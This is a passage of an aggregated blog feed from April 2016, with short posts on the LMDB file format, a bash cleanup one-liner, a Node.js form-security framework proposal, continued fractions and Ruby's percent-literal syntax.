&lt;p&gt;If you have thoughts on scaling graphs or big data in general, please reach out to me! I'm always happy to talk about this.&lt;/p&gt;</description><author>ntietz.com blog - technically a blog</author><pubDate>Tue, 05 Apr 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://ntietz.com/blog/talk-scaling-graphs/?utm_source=atom&amp;utm_medium=feed</guid></item><item><title>A self-centered history of neo-VR</title><link>https://zrkrlc.com/notes/a-self-centered-history-of-neo-vr/1459802160/</link><description>On the 9th of May 2015...my stomach was grumbling.</description><author>Junk Heap Homotopy</author><pubDate>Mon, 04 Apr 2016 23:36:00 GMT</pubDate><guid isPermaLink="true">https://zrkrlc.com/notes/a-self-centered-history-of-neo-vr/1459802160/</guid></item><item><title>My favorite bash oneliner</title><link>https://muffinman.io/blog/my-favorite-bash-oneliner/</link><description>&lt;article class="article"&gt;&lt;p&gt;This simple bash command finds all of the files matching &lt;code&gt;*~&lt;/code&gt; recursively, executes &lt;code&gt;rm&lt;/code&gt; on them
and prints out which files are affected.&lt;/p&gt;
&lt;p&gt;You can replace file matching pattern, and command you want to execute.&lt;/p&gt;
&lt;pre class="language-shell"&gt;&lt;code class="language-shell code-highlight"&gt;&lt;span class="code-line"&gt;&lt;span class="token function"&gt;find&lt;/span&gt; ./ &lt;span class="token parameter variable"&gt;-name&lt;/span&gt; &lt;span class="token string"&gt;&amp;#x27;*~&amp;#x27;&lt;/span&gt; &lt;span class="token parameter variable"&gt;-exec&lt;/span&gt; &lt;span class="token function"&gt;rm&lt;/span&gt; &lt;span class="token string"&gt;&amp;#x27;{}&amp;#x27;&lt;/span&gt; &lt;span class="token string"&gt;&amp;#x27;;&amp;#x27;&lt;/span&gt; &lt;span class="token parameter variable"&gt;-print&lt;/span&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/article&gt;</description><author>Muffin Man</author><pubDate>Mon, 04 Apr 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://muffinman.io/blog/my-favorite-bash-oneliner/</guid></item><item><title>The LMDB file format</title><link>https://blog.separateconcerns.com/2016-04-03-lmdb-format.html</link><description>&lt;p&gt;At &lt;a href="https://blog.separateconcerns.com/2019-02-15-goodbye-lima.html"&gt;Lima&lt;/a&gt;, we use
&lt;a href="https://www.symas.com/lmdb"&gt;the LMDB database&lt;/a&gt; extensively, and we looked into its
source code in order to debug a few issues we had. To help us diagnose broken
databases, and also because I wanted to learn more about it, I wrote &lt;a href="https://github.com/catwell/cw-lua/tree/master/lua-mdb"&gt;a parser
for the LMDB database file format in
Lua&lt;/a&gt; in my spare time,
which I published under the Open Source MIT license.&lt;/p&gt;
&lt;p&gt;In this post, I will give an overview of how a data.mdb file is structured.
Note that I will sometimes skip over some things and operate under the
assumption that you are running on a little-endian platform with 4 kB pages,
etc.&lt;/p&gt;
&lt;section id="Portability"&gt;
&lt;h2&gt;Portability&lt;/h2&gt;
&lt;p&gt;The first thing to know is that the data.mdb format is platform-specific,
which means that you cannot necessarily open a database created on a machine
on another one. In practice, on ARM and x86, the only thing you have to care
about is whether the machine is 32 or 64 bits. On a 64 bit machine, you can
read the data from a 32 bit database by exporting it to a text format using
the &lt;code&gt;mdb_dump&lt;/code&gt; utility compiled in 32 bits and reimporting it with a 64 bits
&lt;code&gt;mdb_load&lt;/code&gt;. With lua-mdb, you can read a 32 bits database directly by passing
the &lt;code&gt;bits&lt;/code&gt; option to the constructor.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="Pages"&gt;
&lt;h2&gt;Pages&lt;/h2&gt;
&lt;p&gt;A data.mdb file is made to be mapped into memory, and as such is organized into
a set pages of 4 kB. All pages start with a header which contains the page
number and some flags which determine the type of the page. For all page types
except overflow pages, the header also includes the bounds of the free space
in the page.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="Meta-pages"&gt;
&lt;h2&gt;Meta pages&lt;/h2&gt;
&lt;p&gt;The first two pages (page numbers 0 and 1) are called meta pages. Meta pages
start with a magic number (&lt;code&gt;0xBEEFC0DE&lt;/code&gt;), a version (currently 1), and the
address and size of the memory mapping. The address is only valid if the
mapping is fixed,
i.e. if LMDB is used with the option &lt;code&gt;MDB_FIXEDMAP&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;After that, we find two structures describing what LMDB calls databases.
The first one is the “free” database, which is used to track free pages,
and the second one is the “main” database.&lt;/p&gt;
&lt;p&gt;Finally come the number of the last page used in the file and the ID of
the last transaction that wrote to the page successfully. Indeed, those meta
pages is the mechanism LMDB uses to implement
&lt;a href="https://en.wikipedia.org/wiki/Multiversion_concurrency_control"&gt;MVCC&lt;/a&gt;.
There can be a single writer at a time, and it will always write to page ID
&lt;code&gt;N % 2&lt;/code&gt;, where &lt;code&gt;N&lt;/code&gt; is the current write transaction ID. Meanwhile, readers will
read page &lt;code&gt;N % 2 + 1&lt;/code&gt;, providing readers - writer isolation. This means that,
when opening a .mdb file, the latest data can be found in the databases pointed
to by the meta page with the highest transaction ID.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="Databases"&gt;
&lt;h2&gt;Databases&lt;/h2&gt;
&lt;p&gt;As we saw, a meta page contains two structures describing databases. Databases
in LMDB are technically B+ trees. The structures contain some environment flags
used at runtime, information about the tree including its depth, the number
of pages of each type and the total number of entries, and finally the page
number of the root of the tree.&lt;/p&gt;
&lt;p&gt;Pages of the tree itself can be one of three types: branch pages, leaf pages
and overflow pages. There are two other types (&lt;code&gt;BRANCH2&lt;/code&gt; and &lt;code&gt;SUBP&lt;/code&gt;) which are
only used with specific DB options (&lt;code&gt;MDB_DUPFIXED&lt;/code&gt; and &lt;code&gt;MDB_DUPSORT&lt;/code&gt;) and that
we will ignore.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="Branch-pages"&gt;
&lt;h2&gt;Branch pages&lt;/h2&gt;
&lt;p&gt;Branch pages represent internal nodes of the tree. After the header, they
contain an array of “pointers” (technically, 16 bit indices within the page)
to “branch nodes” within that page. The number of branch nodes, which is the
number of keys in the page, can be deduced from the boundaries of the free
space in the header.&lt;/p&gt;
&lt;p&gt;Branch nodes are allocated from the bottom of the page up. They start with a
page number, then a key prefixed by its size. Branch node pointers are sorted
according to the key and the current key comparison function, and the page
number indicates the page which should be visited to look up keys between the
key of the node (included) and the key of the next node. That page can be a
branch or a leaf.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="Leaf-pages"&gt;
&lt;h2&gt;Leaf pages&lt;/h2&gt;
&lt;p&gt;Like branch pages, leaf pages start with a number of pointers to leaf nodes.
Leaves store the actual keys and values contained into the DB. Small values
are stored in the leaf node itself and large values are stored in overflow
pages.&lt;/p&gt;
&lt;p&gt;Leaf nodes are slightly more complex than branch nodes. They contain flags,
which determine if the value is contained in the node or in an overflow page,
and the key which corresponds to the node. For small values, they contain the
value itself, and for larger values they contain the page number of the
corresponding overflow page.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="Overflow-pages"&gt;
&lt;h2&gt;Overflow pages&lt;/h2&gt;
&lt;p&gt;Large values are stored in so-called overflow pages. Those pages are pretty
simple: after the header, they contain the raw value (not prefixed by its size).
This value can be larger than the size of a page, which explains the name:
they overflow on later pages. Note that this means those later pages do not
start by the usual header.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="Learning-more"&gt;
&lt;h2&gt;Learning more&lt;/h2&gt;
&lt;p&gt;I have explained the basics of the data.mdb file format. Should you have to
debug broken databases, it will help you get started. If you need more, read
&lt;a href="https://github.com/catwell/cw-lua/tree/master/lua-mdb"&gt;the lua-mdb source code&lt;/a&gt;
or &lt;a href="https://github.com/LMDB/lmdb"&gt;the LMDB source code&lt;/a&gt; (it is only about 10000
lines, although sometimes not easy to understand given that its author adopts a
style that favors performance to readability).&lt;/p&gt;
&lt;/section&gt;</description><author>Separate Concerns</author><pubDate>Mon, 04 Apr 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://blog.separateconcerns.com/2016-04-03-lmdb-format.html</guid></item><item><title>New new site</title><link>https://zellyn.com/2016/04/new-new-site/</link><description>&lt;p&gt;I just migrated this site from &lt;a href="http://octopress.org/"&gt;Octopress&lt;/a&gt; to
&lt;a href="https://gohugo.io/"&gt;Hugo&lt;/a&gt;. Expect problems (and hopefully more
frequent updates).&lt;/p&gt;</description><author>Zellyn Hunter</author><pubDate>Sun, 03 Apr 2016 23:57:38 GMT</pubDate><guid isPermaLink="true">https://zellyn.com/2016/04/new-new-site/</guid></item><item><title>Continued fractions</title><link>https://zellyn.com/2016/04/continued-fractions/</link><description>$$
26 + \frac{1}{5 + \frac{1}{12 + \frac{1}{12 + \frac{1}{25 + \frac{1}{14 + \cdots}}}}}
$$&lt;p&gt;Last night I lay thinking of
&lt;a href="https://en.wikipedia.org/wiki/Continued_fraction"&gt;Continued Fractions&lt;/a&gt;,
trying to understand not just the notation, but what they mean.&lt;/p&gt;
&lt;p&gt;Trying to pull apart and unwind smaller and smaller parts of these
recurrent shapes gave way, as I fell asleep, to the same kind of
recursive unwinding, but of my own past.&lt;/p&gt;
&lt;p&gt;I dreamed all night of scattered childhood memories. At one point,
remembering a song – or perhaps just the act of singing – I was
pierced with a flash of a long-forgotten feeling: that all is right
with the world, that Mum and Dad are in charge, that I am safe.&lt;/p&gt;
&lt;p&gt;It’s amazing how profoundly we lose that feeling.&lt;/p&gt;</description><author>Zellyn Hunter</author><pubDate>Sun, 03 Apr 2016 22:30:06 GMT</pubDate><guid isPermaLink="true">https://zellyn.com/2016/04/continued-fractions/</guid></item><item><title>New Site</title><link>https://zellyn.com/2016/04/new-site/</link><description>&lt;p&gt;Welcome to my new site. I’m just trying to get everything working:
expect both style and substance later.&lt;/p&gt;
&lt;p&gt;For now, my &lt;a href="http://zellyn.blogspot.com/"&gt;old site&lt;/a&gt; is probably more
interesting.&lt;/p&gt;</description><author>Zellyn Hunter</author><pubDate>Sun, 03 Apr 2016 22:30:00 GMT</pubDate><guid isPermaLink="true">https://zellyn.com/2016/04/new-site/</guid></item><item><title>Noe + Dolores</title><link>https://faingezicht.com/photos/2016/04/03/noe/</link><description>I have been thinking of buying a new 24mm lens, so this weekend I challenged myself to only take pictures with that focal distance. Not zooming is hard, especially when taking photos of strangers you don't want to get too close to. Here is the outcome:</description><author>Avy Faingezicht</author><pubDate>Sun, 03 Apr 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://faingezicht.com/photos/2016/04/03/noe/</guid></item><item><title>2016-04-03</title><link>https://ho.dges.online/pictures/2016-04-03/</link><description>&lt;p&gt;Dusk in Nahariyya.&lt;/p&gt;</description><author>ho.dges.online</author><pubDate>Sun, 03 Apr 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://ho.dges.online/pictures/2016-04-03/</guid></item><item><title>It's 2016, And You're STILL Doing Forms Wrong (And So Is Your Framework)! [Part 3]</title><link>https://cscrunch.com/blog/corey-pennycuff/its-2016-and-youre-still-doing-forms-wrong-and-so-your-framework-part-3</link><description>&lt;div class="field field-name-body field-type-text-with-summary field-label-hidden view-mode-rss"&gt;&lt;div class="field-items"&gt;&lt;div class="field-item even"&gt;&lt;div class="illustration" style="text-align: left; font-size: 16px; padding: 10px;"&gt;&lt;a href="https://cscrunch.com/node/17"&gt;Part 1: What's missing in Form Security&lt;/a&gt;&lt;br /&gt;&lt;a href="https://cscrunch.com/node/18"&gt;Part 2: Forms—A better way&lt;/a&gt;&lt;br /&gt;&lt;a href="https://cscrunch.com/node/19"&gt;Part 3: Defiant—A step toward unification&lt;/a&gt;&lt;/div&gt;
&lt;h2&gt;Defiant: A Proposal For Tool Unification.&lt;/h2&gt;
&lt;p&gt;Defiant is a Node.js module that I am writing to answer the problems that I will address in this post.  First of all I must address the question: "Why the name 'Defiant'?"  In order to do so, I must first make sure that you understand the mindset of current development (mainly addressed at the Node.js ecosystem, although it is not limited to such).&lt;/p&gt;
&lt;h2&gt;The Motivation For Tool Development&lt;/h2&gt;
&lt;p&gt;We should probably begin with the &lt;a href="http://www.tldp.org/LDP/GNU-Linux-Tools-Summary/html/c1089.htm"&gt;Unix tool philosophy&lt;/a&gt;.  For the uninitiated, the philosophy states that programs should be small, accomplish a single task, and have a well-defined input/output mechanism.  As many command-line warriors will tell you, knowing how the individual tools work saves them time and allows quick, powerful, bug-free productivity without having to reinvent the wheel for every task.  It is one of the philosophies that has propelled Linux to be the powerhouse of development that it is today.&lt;/p&gt;
&lt;!--break--&gt;&lt;p&gt;
Second, we should consider the &lt;a href="https://en.wikipedia.org/wiki/Don%27t_repeat_yourself"&gt;DRY (Don't Repeat Yourself)&lt;/a&gt; software development axiom.  It rightly encourages programmers to be smart about their code, and to have good modularization practices (especially in the realm of OOP) in order to reduce interdependence.  More colloquially, it is an admonition to developers to not re-implement solutions that others have already written, but to have good structure and make proper use of libraries.&lt;/p&gt;
&lt;p&gt;Modern development has embraced these two philosophies, sometimes to the extreme (eg. &lt;a href="https://www.npmjs.com/package/left-pad"&gt;left-pad&lt;/a&gt; anyone?).  So is this a problem?  Yes and no.  It is not a problem in that what is generally produced is small, high-quality, well-used and well-tested libraries.  The problem is that the developer must know how to put them together.  Assembly of tools is the problem, in that it requires the developer to be an expert in the domain of inputs and outputs that that tool provides.  In this sense, writing small modules does not automatically bestow the Unix tool philosophy on a project.&lt;/p&gt;
&lt;p&gt;In terms of the Unix tool philosophy, the interface is simple: &lt;span class="geshifilter"&gt;&lt;code class="text geshifilter-text"&gt;stdin&lt;/code&gt;&lt;/span&gt; and &lt;span class="geshifilter"&gt;&lt;code class="text geshifilter-text"&gt;stdout&lt;/code&gt;&lt;/span&gt;.  The output of one command is piped to the input of the next.  These small tools all share the same interface, and can easily be reasoned about to be assembled quickly and powerfully.  The problem is that this abstraction does not scale well in terms of complex systems.  To put it simply, you wouldn't build a phone system out of piped-together commands, so why would you think that you can build a secure website using piped-together modules?&lt;/p&gt;
&lt;p&gt;Security is complex, and most of the advice on the internet is that you should not roll-your-own, because you will probably get something wrong.  This is definitely true &lt;a href="http://security.stackexchange.com/questions/2202/lessons-learned-and-misconceptions-regarding-encryption-and-cryptology/2210#2210"&gt;in terms of cryptography&lt;/a&gt;, but it is also true of security.  You are (probably) not a security expert, and even if you are, why would you want to re-invent the security wheel for each project?  Are you absolutely positive that you will not make a mistake?  Are you up-to-date on the most recent security practices (they are, after all, out of date in two years)?  Finally, even if you are, having to write your own security boilerplate for every form you create, every project you work on, is a basic violation of the DRY principle.&lt;/p&gt;
&lt;h2&gt;Defiant.&lt;/h2&gt;
&lt;p&gt;My proposal is to create a framework to buck the trend (hence the name "Defiant").  I am not intending to undo the hard work that so many good programmers have done, but rather to begin to integrate the best parts into a cohesive model that can be more easily combined.  The form processing complexity is a very good example to give you a hint at the broader picture.  When a form is received via POST, it must be processed.  There are already libraries to do this (e.g., &lt;a href="https://github.com/mscdex/busboy"&gt;busboy&lt;/a&gt;, &lt;a href="https://github.com/felixge/node-formidable"&gt;formidable&lt;/a&gt;).  Then the form must be validated.  Then any spurious data (for example, the files which were injected in the story told earlier) must be purged.  Then the form can be submitted (processed).  Then the http response can be assembled.  You get the idea: there are a lot of moving parts, and this is just in a single aspect of a website.  And yet, for every project, developers have to write the same boilerplate code (or at least their version of it) in order to get the different parts working.  Or, more likely, they only write parts of it, unwittingly leaving security holes in their wake.&lt;/p&gt;
&lt;p&gt;But perhaps thinking in terms of a website and http traffic is too constricting.  Node.js can do many, many things.  It can be a &lt;a href="http://socket.io/"&gt;socket server&lt;/a&gt; (handy for many types of real-time communication), a &lt;a href="http://stackoverflow.com/questions/5539782/simple-dns-server-in-node-js-primary-authoritative-dns-server-maybe-ndns"&gt;DNS server&lt;/a&gt;, an &lt;a href="https://github.com/andris9/smtp-server"&gt;email server&lt;/a&gt;, a server management tool (via &lt;a href="https://github.com/mscdex/ssh2"&gt;ssh&lt;/a&gt; and &lt;a href="https://github.com/mscdex/node-ftp"&gt;ftp&lt;/a&gt;), a &lt;a href="https://www.npmjs.com/package/git"&gt;Git interface&lt;/a&gt;, a humble http server, and many, many other things.  Moreover, it is very probable that most projects need to combine several of these tools.  For example, a website providing WebRTC communications would probably need shared authentication in both the http(s) and the socket communications.  An email server may want to provide a web-based front end for management and email access.  A server-monitoring tool may use sockets and ssh and a web-based front end all together.  A website may want to offer ftp integration to advanced users.&lt;/p&gt;
&lt;p&gt;What am I getting at?  I believe that we have many amazingly powerful standalone systems, but that aren't designed to play well together.  Defiant is an attempt to provide a standardized engine for these disparate, powerful modules.  I'm not trying to make just another CMS (in fact, http services don't necessarily require a CMS), but rather I'm trying to create a framework which can accommodate the needs of developers and end-users alike.  Am I inspired by Drupal?  Absolutely!  But I'm not beholden to it, either.  Drupal was written for a specific technology (PHP and database-driven) and purpose (http-based interaction), and I see Defiant as much more flexible than that.&lt;/p&gt;
&lt;p&gt;Defiant also seeks to address problems common in the dev-stage-prod workflow faced by many database-driven projects.  It seeks to simplify development by offering clear APIs to developers, as well as an ability to override and/or extend core functionality without having to hack core code (à la &lt;a href="https://www.drupal.org/best-practices/do-not-hack-core"&gt;Drupal's mantra&lt;/a&gt;).  Defiant should simplify site building for beginners and enforce best practices for developers when its APIs are used.  I see it as being scaling-aware so that even small projects can easily grow, but with a simplicity that is transparent to the end-user.&lt;/p&gt;
&lt;p&gt;"Is Defiant ready for use?" you may ask.  Sadly, no.  It's coding has only just begun.  If you would like to collaborate on its development, however, please jump in on the GitHub repo: &lt;a href="https://github.com/coreyp1/defiant"&gt;https://github.com/coreyp1/defiant&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;If anything, I would like to get others to join me on this journey.  I see Defiant as the catalyst to make development exciting without the drudgery of writing boilerplate or having to become an expert on everything in order to write secure systems.  This is the change that I feel our industry needs, and it is the change that I am passionate about.&lt;/p&gt;
&lt;h2&gt;&lt;a href="https://github.com/coreyp1/defiant"&gt;Be Defiant!&lt;/a&gt;&lt;/h2&gt;
&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;section class="field field-name-field-tags field-type-taxonomy-term-reference field-label-above view-mode-rss"&gt;&lt;h2 class="field-label"&gt;Tags:&amp;nbsp;&lt;/h2&gt;&lt;ul class="field-items"&gt;&lt;li class="field-item even"&gt;&lt;a href="https://cscrunch.com/tags/nodejs"&gt;Node.js&lt;/a&gt;&lt;/li&gt;&lt;li class="field-item odd"&gt;&lt;a href="https://cscrunch.com/tags/security"&gt;Security&lt;/a&gt;&lt;/li&gt;&lt;li class="field-item even"&gt;&lt;a href="https://cscrunch.com/tags/form-handling"&gt;Form handling&lt;/a&gt;&lt;/li&gt;&lt;li class="field-item odd"&gt;&lt;a href="https://cscrunch.com/tags/defiant"&gt;Defiant&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/section&gt;</description><author>CS Crunch</author><pubDate>Sat, 02 Apr 2016 17:22:34 GMT</pubDate><guid isPermaLink="true">https://cscrunch.com/blog/corey-pennycuff/its-2016-and-youre-still-doing-forms-wrong-and-so-your-framework-part-3</guid></item><item><title>Syntax Quiz #1: Ruby’s mysterious percent suite</title><link>https://bfontaine.net/2016/04/02/syntax-quiz-number-1-rubys-mysterious-percent-suite/</link><description>&lt;p&gt;This is the first post of a serie I’m starting about syntax quirks in various
languages. I’ll divide each post in two parts: the first one states the
question (mainly “Is this valid? What does it do? How does it work?”); the
second one gives an answer.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;In Ruby, any sequence of 3+4n (where n≥0) percent signs (&lt;code class="language-plaintext highlighter-rouge"&gt;%&lt;/code&gt;) is valid;
can you guess why?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Here are the first members of this suite:&lt;/p&gt;

&lt;div class="language-text highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;%%%             # n=0
%%%%%%%         # n=1
%%%%%%%%%%%     # n=2
%%%%%%%%%%%%%%% # n=3
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;I’m using Ruby 2.3.0 but this I was able to test this behavior on the
almost-10-years-old Ruby 1.8.5, so you should be fine with any version.&lt;/p&gt;

&lt;p&gt;You can stop here and try to solve this problem or skip below for an answer.&lt;/p&gt;

&lt;hr /&gt;

&lt;p&gt;The answer to the problem lies in two things: &lt;em&gt;string literals&lt;/em&gt; and &lt;em&gt;string
formatting&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;You might know you can use &lt;code class="language-plaintext highlighter-rouge"&gt;%q()&lt;/code&gt; to create a string; which can be handy if you
have both single and double quotes and don’t want to escape them:&lt;/p&gt;

&lt;div class="language-ruby highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="n"&gt;my_str&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sx"&gt;%q(it's a "valid" string)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This method doesn’t support interpolation with &lt;code class="language-plaintext highlighter-rouge"&gt;#{}&lt;/code&gt; but its uppercased friend
does:&lt;/p&gt;

&lt;div class="language-ruby highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="n"&gt;my_str&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sx"&gt;%Q(i's still &lt;/span&gt;&lt;span class="si"&gt;#{&lt;/span&gt;&lt;span class="mi"&gt;42&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mi"&gt;41&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sx"&gt; "valid" string)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The &lt;a href="http://ruby-doc.org/core-2.3.0/doc/syntax/literals_rdoc.html#label-Percent+Strings"&gt;equivalent&lt;/a&gt; also exists to create arrays of strings with &lt;code class="language-plaintext highlighter-rouge"&gt;%w()&lt;/code&gt; and
&lt;code class="language-plaintext highlighter-rouge"&gt;%W()&lt;/code&gt;, regular expressions with &lt;code class="language-plaintext highlighter-rouge"&gt;%r&lt;/code&gt;, as well as &lt;code class="language-plaintext highlighter-rouge"&gt;%i&lt;/code&gt; to create arrays of
symbols starting in Ruby 2.0.0:&lt;/p&gt;

&lt;div class="language-ruby highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="n"&gt;names&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sx"&gt;%w(alice bob charlie)&lt;/span&gt; &lt;span class="c1"&gt;# =&amp;gt; ["alice", "bob", "charlie"]&lt;/span&gt;
&lt;span class="n"&gt;names&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;each&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="nb"&gt;name&lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="nb"&gt;puts&lt;/span&gt; &lt;span class="s2"&gt;"Hello &lt;/span&gt;&lt;span class="si"&gt;#{&lt;/span&gt;&lt;span class="nb"&gt;name&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="n"&gt;my_syms&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sx"&gt;%i(my symbols)&lt;/span&gt; &lt;span class="c1"&gt;# =&amp;gt; [:my, :symbols]&lt;/span&gt;

&lt;span class="nb"&gt;puts&lt;/span&gt; &lt;span class="s2"&gt;"yep"&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="sx"&gt;%q(my string)&lt;/span&gt; &lt;span class="o"&gt;=~&lt;/span&gt; &lt;span class="sr"&gt;%r(my.+regexp)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;You can also use &lt;code class="language-plaintext highlighter-rouge"&gt;[]&lt;/code&gt;,&lt;code class="language-plaintext highlighter-rouge"&gt;{}&lt;/code&gt; or &lt;code class="language-plaintext highlighter-rouge"&gt;&amp;lt;&amp;gt;&lt;/code&gt; instead of parentheses:&lt;/p&gt;

&lt;div class="language-ruby highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="sx"&gt;%w{foo bar}&lt;/span&gt;             &lt;span class="c1"&gt;# =&amp;gt; ["foo", "bar"]&lt;/span&gt;
&lt;span class="sx"&gt;%q[my string goes here]&lt;/span&gt; &lt;span class="c1"&gt;# =&amp;gt; "my string goes here"&lt;/span&gt;
&lt;span class="sx"&gt;%i&amp;lt;a b c&amp;gt;&lt;/span&gt;               &lt;span class="c1"&gt;# =&amp;gt; [:a, :b, :c]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Ruby lets you use a percent sign alone as an alias of &lt;code class="language-plaintext highlighter-rouge"&gt;%Q&lt;/code&gt;:&lt;/p&gt;

&lt;div class="language-ruby highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="sx"&gt;%(foo bar)&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="sx"&gt;%&amp;lt;foo bar&amp;gt;&lt;/span&gt; &lt;span class="c1"&gt;# =&amp;gt; true&lt;/span&gt;
&lt;span class="sx"&gt;%{foo bar}&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="s2"&gt;"foo bar"&lt;/span&gt;  &lt;span class="c1"&gt;# =&amp;gt; true&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;But wait; there’s more! You can also use most non-alphanumeric characters like
&lt;code class="language-plaintext highlighter-rouge"&gt;|&lt;/code&gt; (&lt;code class="language-plaintext highlighter-rouge"&gt;%|my string|&lt;/code&gt;), &lt;code class="language-plaintext highlighter-rouge"&gt;^&lt;/code&gt; (&lt;code class="language-plaintext highlighter-rouge"&gt;%w^x y z^&lt;/code&gt;), or… &lt;code class="language-plaintext highlighter-rouge"&gt;%&lt;/code&gt;:&lt;/p&gt;

&lt;div class="language-ruby highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="sx"&gt;%w%my array%&lt;/span&gt;        &lt;span class="c1"&gt;# =&amp;gt; ["my", "array"]&lt;/span&gt;
&lt;span class="sx"&gt;%q%my string%&lt;/span&gt;       &lt;span class="c1"&gt;# =&amp;gt; "my string"&lt;/span&gt;
&lt;span class="sx"&gt;%%my other string%&lt;/span&gt;  &lt;span class="c1"&gt;# =&amp;gt; "my other string"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This means that &lt;code class="language-plaintext highlighter-rouge"&gt;%||&lt;/code&gt;, &lt;code class="language-plaintext highlighter-rouge"&gt;%^^&lt;/code&gt; or &lt;code class="language-plaintext highlighter-rouge"&gt;%%%&lt;/code&gt; can be used to denote an empty string
(don’t do that in real programs, please). It answers the problem for the case
n=0: &lt;code class="language-plaintext highlighter-rouge"&gt;%%%&lt;/code&gt; is an empty string; the first percent sign indicates it’s a literal
string, and the following two are respectively the beginning and end
delimiters.&lt;/p&gt;

&lt;p&gt;The second part of our answer is &lt;strong&gt;string formatting&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;If you have ever written a Python program you know it supports string
formatting &lt;i&gt;à la&lt;/i&gt; &lt;code class="language-plaintext highlighter-rouge"&gt;sprintf&lt;/code&gt; with &lt;code class="language-plaintext highlighter-rouge"&gt;%&lt;/code&gt;:&lt;/p&gt;

&lt;div class="language-python highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="k"&gt;print&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;this is %s, I&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;m %d years-old&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Python&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;25&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Well, Ruby supports the same method, called &lt;a href="http://ruby-doc.org/core-2.3.0/String.html#method-i-25"&gt;&lt;code class="language-plaintext highlighter-rouge"&gt;String#%&lt;/code&gt;&lt;/a&gt;:&lt;/p&gt;

&lt;div class="language-ruby highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="nb"&gt;puts&lt;/span&gt; &lt;span class="s2"&gt;"this is %s, I'm %d years-old"&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"Ruby"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;21&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
